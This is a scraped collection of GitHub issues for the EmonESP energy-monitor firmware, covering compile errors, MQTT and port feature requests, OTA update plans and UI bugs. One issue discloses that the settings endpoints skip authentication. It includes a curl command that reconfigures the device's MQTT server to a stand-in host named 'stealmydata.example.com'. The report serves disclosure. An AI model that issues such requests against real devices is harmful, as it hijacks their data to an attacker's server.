Hi,
I'm trying to upload EmonESP firmware with Arduino IDE to a NodeMCU ESP-12E V3 but I get some errors that abort the process.

The following are the installed software versions:
-Arduino IDE 1.8.10
-esp8266 v. 2.4.2 (with 2.5.2 there are no upload errors but the board is not working)
-all libraries are loaded with the latest version

These are the errors:

Error compiling for board NodeMCU 1.0 (ESP-12E Module).

I think there is a problem with the async library.
How can I solve this problem?

Thanks in advance for your help.

It would be nice to have be an option to select between DHCP and static IP-configuration.

Hi
Just downloaded and will not compile
webserver.h has 2 includes not in git files
<ESPAsyncTCP.h> <ESPAsyncWebServer.h>

@jeremypoulter
Hi Jeremy, I'm modifying a version of emonESP for my emonDC board. I was hoping for your input on a decision I have to make.

I'm logging data to an SD card, using the ESP8266.

The firmware has class conflicts between the SPIFFS filesystem and the SDCard filesystem libraries. I've tried changing all the class definitions in the .h and .cpp file of the SD card lib to no avail.

So I have three possible paths.

1. Move all the SPIFFS files to the SDcard and run emonESP from an SD card.

• The main disadvantage is requiring an SD card to run the basic program, a limitation I don't want.

2. Get SD card and SPIFFS working alongside each other. The best resource I've found to change the emonESP firmware is this: esp8266/Arduino#1524 (comment)

• A brief go at this method I couldn't make work because the function names differed I think.. I'll have another go at getting this working..

3. Write to a datalogging file in the SPIFFS and provide a way to download the file in emonESP.

• I imagine memory space to be the limitation here.

Start with a "blank" chip, with default config. "ctrl_mode" defaults to "Off".
At the end of setup(), ctrl_mode is "Off".
After a couple of loop(), it turns to "On".
I'm still searching where the variable gets changed.

#42 refers

Where the target emoncms server is not running on the hardcoded port, there should be the ability to define the port to be used.

Use case is the HA Emoncms Add-on https://community.openenergymonitor.org/t/home-assistant-emoncms-addon/16524

The serial port in the normal use case with single phase monitoring only works on 115.200 and this value is hardcoded in the firmware; 3phase emonTX requires 9600 bps serial speed and that's the only reason 3phase owners need to compile custom firmware. It would be nice to have a checkbox to switch between the 2 serial speeds (or a dropdown list if there are other use cases which require a different value).

This variable appears on app_config.cpp line 65 (declaration + init), and in src.ino on line 197 (check for true/false) and on line 200 (set to false).
I couldn't find any line where this variable is set to true !

What is the behaviour of emonESP in AP mode?
I've had an issue with a device having intermittent WiFi and the ESP not reconnecting.
Does emonESP, once in AP mode, give up trying to establish a connection to the chosen WiFi network?

If settings have been made on emonESP which make it difficult to use (wifi settings) or impossible to access (forgotten admin username and password) it would be very useful to enable a factory reset by holding down GPIO0 after boot.

I've seen this feature elsewhere on ESP devices. It's possible because the state of GPIO0 is only critical during boot, after which it can be used as a digital input, for example by initiating a factory reset after say, 5s of holding down.

Password is currently limited to 16 characters but it is possible for a user to enter a longer password which results in silent failure then user is unable to login since password in truncated.This could be fixed by a hard limit on the password input field.

https://community.openenergymonitor.org/t/reset-http-auth-password-on-esp8266/11159

I'm trying to use the 1MB version of the emonesp on a sonoff basic wifi switch (no energy monitoring version),

The code flashes and runs, I can connect to the AP and get it to connect to my wifi, it has also been detected by DemandShaper in emoncms.

Sometimes the switch just reboots itself and flashes the green LED. If I can get the device to be stable for a little while I can't save the settings from the control panel on the device.

I'm using the precompiled smartplug.bin

Any ideas?

The current serial protocol is really only designed to for human interaction. It would be good to enhance to these to better support working with the EmonESP.

The current issues I am seeing is rebooting the EmonESP can change the EmonTx settings and likewise if the EmonTx reboots or you use it interactively (via the changes in #74 ) the output of the EmonTx can be parsed as an input string.

What would be nice would be to send (proper) JSON objects both as the EmonTx output and for sending commands to the EmonTx. Alternatively a slightly less drastic approach could be to start output/commands with a specific char and add a checksum at the end, similar to how RAPI works on the OpenEVSE

I setup a wifi repeater at home and the broadcasted SSID from both routers (same SSSID) are showed up on emonESP network selection screen.

As shown in the below screenshot, I can select both SSIDs. Not sure why, maybe it is because both SSID are identical.

Not a big deal, but it would be better if the UI implements radio button rather than check box, so only one network that can be selected at a time.

If I use https://example.com/emoncms as my EmonCMS server, I can't use HTTPS.

It's because when trying to connect to Server, uses "example.com/emomcms" has "host", and
client.connect(host, httpsPort) fails.
If I put "/emoncms" at the beginning of "e_url", and leave "host" as "example.com" it works!

Maybe an input box to put the server url, will help.

Hey there :-)

I just bought an emonTX and got it working with emonESP on a esp8266 huzzah.

The shop was out of stock at the time, so I had to get one elsewhere and set it up myself - I got there eventually but there's a couple of things that could do with updating in the docs to help newbies like me :-)

1. ESPAsyncTCP and ESPAsyncWebServer libraries are needed now it seems, I downloaded those as a .zip and used the library manager to add them manually as they didn't seem to come up in the library manager list.

2. It would be worth mentioning that after the sketch compile and upload the board exits bootloader mode and runs the sketch. Trying to upload the "data" part caused a bit of head scratching as it kept failing. I had to put the board back into bootloader mode to get the data part to upload. Not sure if that's expected or not, but might be worth mentioning.

Finally a request if possible! Can an MQTT Client ID prefix be added to the config web page and used as part of the Client ID string? I tend to have all my MQTT stuff with Client Id prefixes as it adds an extra layer of security plus it makes it easier to scan a long list of client connections for set prefixes.

Thanks!

The endpoints to save the settings do not have any checks to validate the username/password;

  server.on("/savenetwork", handleSaveNetwork);
  server.on("/saveemoncms", handleSaveEmoncms);
  server.on("/savemqtt", handleSaveMqtt);

So you could do something like this;

curl 'http://172.16.0.72/savemqtt' -H 'Origin: http://172.16.0.72' -H 'Accept-Encoding: gzip, deflate' -H 'Accept-Language: en-GB,en-US;q=0.8,en;q=0.6' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36' -H 'Content-type: application/x-www-form-urlencoded' -H 'Accept: */*' -H 'Referer: http://172.16.0.72/' -H 'Connection: keep-alive' --data '&server=stealmydata.example.com&topic=jeremypoulter/f&prefix=test-&user=&pass=' --compressed

and this will change the MQTT server without asking for credentials.

Hello,

I just installed brand new EmonTX v3 with EmonESP Huzzah.
I'm having issue with recieving data through MQTT.
According to MQTTFX, the emonesp is connected to the server, but there is no log recieving any data at all. The base-topic is set to: emon/emonesp
MQTTFX is subscribed to: emon/emonesp/CT1

I'm getting values on the emonesp webserver, there are no units next to values by the way, as the
picture shows in the tutorial. It's just a small thing, but I need it there.

Can someone help me with this?
Thanks

The UI supports entering a non-standard MQTT port, however the value entered this custom port field is not actually saved:

https://github.com/openenergymonitor/EmonESP/blob/master/src/web_server.cpp#L322

A user has reported unable to get MQTT to connect on a non-standard port: https://community.openenergymonitor.org/t/emonesp-v3-1-0-significant-update-no-more-spiffs/15544/12?u=glyn.hudson

It looks like the emoncms path is missing from both app_config.cpp and emoncms.cpp.

I have created a pull request that should fix this issue (at least it did for me). #85

When I download the firmware.bin and spiffs.bin from the last release (V3.0.0) and the esp creates a AP the html output that I can read from the device which is connected to espwifi_xxxx network the following error:

/home.html not found, have you flashed the SPIFFS?

Meanwhile with the previous version (V2.3.0 | Misc Bug Fixes) everything works fine, so I think that the spiffs.bin is the problem and I dont figure out how to compile by my selft to confirm the issue.

Best regards

When the smartplug is controlled via the web UI the state correctly updates on MQTT e.g

Topic: <basetopic>/<smartplugID>/out/ctrlmode
Message: On or Off

However, if the smart plug is controlled via MQTT e.g

Topic: <basetopic>/<smartplugID>/in/ctrlmode
Message: On or Off

The status out topic does not update, the http JSON /status always return the correct statue. Having the correct state always available via MQTT would be very useful for integration with other control systems e.g Home Assistant

Glynn,

On the readme there isn't any documentation of how to hook one of these things up to an emonTX.

Think this is an essential part that should be documented here.

I also mentioned on the community that there should be pointers from the new guides etc. to this section of github.

Firmware Update

• fix stream timeout error esp8266/Arduino#1676
• Fix hang after update (fixed by unmount spiffs and restart unit after serial upload)
• Update spiffs filesystem over OTA
• Sign binary to verify update, esp8266/Arduino#2103
• [x ] manual .bin upload via web interface
• ATmega328p update from ESP, AVRdude pass through

Connectivity

• [x ] MQTT

Security

• Password protection & config

• copy over hostname code from OpenEVSE glynhudson/OpenEVSE_RAPI_WiFi_ESP8266@7cf4a90

OTA updating of ESP8266 firmware and ATmega328 (connected via serial) is highly desirable. Here are a collection of examples covering ESP8266 firmware update. AVR pass-through update will be explored in another issue.

OTA Update to ESP8266

Pulling update from a web server

• Workflow to setup automatic build and deploy using Platformio, Git, TravisCI and a PHP script. Blog Post | Example Project Repo
  

Via web interface

• Example uploading .bin via web server. Example | Documentation

Maybe we could combine both: Updating pulling from a cloud server triggered by the user hitting update in a web interface with option to upload .bin if contact with the server is not possible or custom firmware is required.

Hello,

The latest version built from dev goes into a boot loop on a Wemos D1 mini.

Version 2.3.3 works fine

Both versions will report SSIDs found on the serial console, but none will be shown in the web gui to join, I had to enter mine manually into config.cpp, after which it worked fine.

If you need help debugging on this hardware, please let me know,

The link to emonPixel on https://github.com/openenergymonitor/EmonESP is wrong.

Instead of the normal **** being visible in the field. The field appears blank, so you have no idea if you have entered one or not previously.
I note that the retrieval has been commented in the code, but there needs to be another way to highlight that is was previous input.

I've added a line to print the current time on serial, line 141 of src.ino (just before Free memory output).
On the first call, I get allways a time around 18:12... on subsequent call, I get something else which is totally wrong !!!
Here's the log:
WiFi dissconnected: WIFI_DISCONNECT_REASON_ASSOC_FAIL
Connected to Freebox-VFA
Time now: 18:12:40
Free memory 31160 - diff 672 672

Free memory 29288 - diff 1872 2544
Time now: 09:25:45

When trying the esp-built-in time (see https://github.com/esp8266/Arduino/blob/61cd8d83859524db0066a647de3de3f6a0039bb2/libraries/esp8266/examples/NTP-TZ-DST/NTP-TZ-DST.ino), I get the right time using the time() function.

Hi!

Would it be possible to show the debug outputs from both (emonTX3 and emonESP) serial ports on the website?

That would make troubleshooting a lot easier.

Loading EmonESP onto Sonoff S20 is easy, however the newer smaller S26 has much smaller pads. It's still possible to load ESP firmware: arendst/Tasmota#2808

In the home.html, both groups "Latest Data" and "Control" should be hidden when status.isWifiClient is false.

I think, the data-bind="visible should be on the parent element. It seems the style.display property overwrite the data-bind.

When compiling the packages for the first time, platformio warns

Says it all

I cannot connect EmonEsp to my mqtt server as I use a non standard port number.
The timer version I use with DemandShaper has the provision for entering MQTT port number

My broker only supports “secure MQTT”, on port 8883. Could support for secure MQTT be added? Should also support fingerprint verification as well.

Having a problem with periodic resets due to error count being absolute and not based on time between errors. Discussed in detail here.

Hello, I flashed the ESP8266 according to instructions and also uploaded the files in "data". ESP starts and displays the AP emonESPxxxxxxx. I connect and go to 192.168.4.1. It then asks me user id and password.

What should I enter here ? I was expecting a first page where I need to sleect a WIFI access point and password.

If I don't enter user Id and password (blank/blank) then I get to a screen that says :

Update: maybe not as good as it looks. Our current setup gives us more flexibility.

Seems very comprehensive, supports captive portal so user will always be directed to the config page if connected to an AP. Also supports custom parameters (e.g. MQTT) and wifi signal strength monitoring.

Hello,

I'm running emoncms not on the defult 80 port, i'm using 8080, It will be usefull have the possibility to define on wich port is running emoncms server.

I'm just setting ip adress plus door and can't connect

The MQTT host IP address shown in the debug output is incorrect. See screenshot below, the correct IP address is 192.168.86.24, the correct address is being used by the ESP since the MQTT server is connected and working. However the IP address is slightly incorrect in the debug window:

The instructions show an image of the EmonESP screen settings to connect to a EmonCMS with a Node Name of 2. There is no explanation as to what this is. Is this current? Is it supposed to be a name that matches the nodes in the EmonHub config?

The 1MB flash size on the sonoff makes it tricky to upload an update .bin file, as the updater I've found and integrated seems to require 50% free space.

Is there a way to update the flash with a .bin greater than 50% of the flash size? Off the top of my head, it would be risky because there's no way to guarantee the transfer of data over WiFi for the duration of the flash, so a sketchy wifi connection would soft-brick a sonoff.

@jeremypoulter does this sound right? It might be the case the updater is ditched for the sonoff.

It would be nice if the emonESP would have an input field where I could do input of the following:
1: SSID (hidden not transmitting)
2: No dhcp (manual input of IP-address)
3: subnet
4: gateway

The control state is not saved in the Eeprom until at least one of the other field is changed (timers, time offset).

This leads to confusion and wrong behavior in case of reboot.

When integrating other third party consumers using MQTT, there is currently no way of knowing whether the EmonESP is online or not. I'm pulling data into my HomeAssistant instance and if the EmonESP goes offline, the last received value is assumed to still be correct. This causes things like integration functions to produce incorrect results with no indication that they are wrong.

This is commonly solved by adding an availability topic that indicates whether the device is online. When connecting to the broker, a 'last will' message can be provided which would be to set the availability topic to it's offline state. That means that the broker would send the offline availability payload if the connection unexpectedly closed.

The MQTT library used has support for this in it's connect() function, so it's a very minor change.

Hi

Having a number of issues with compiling master and timer branch.
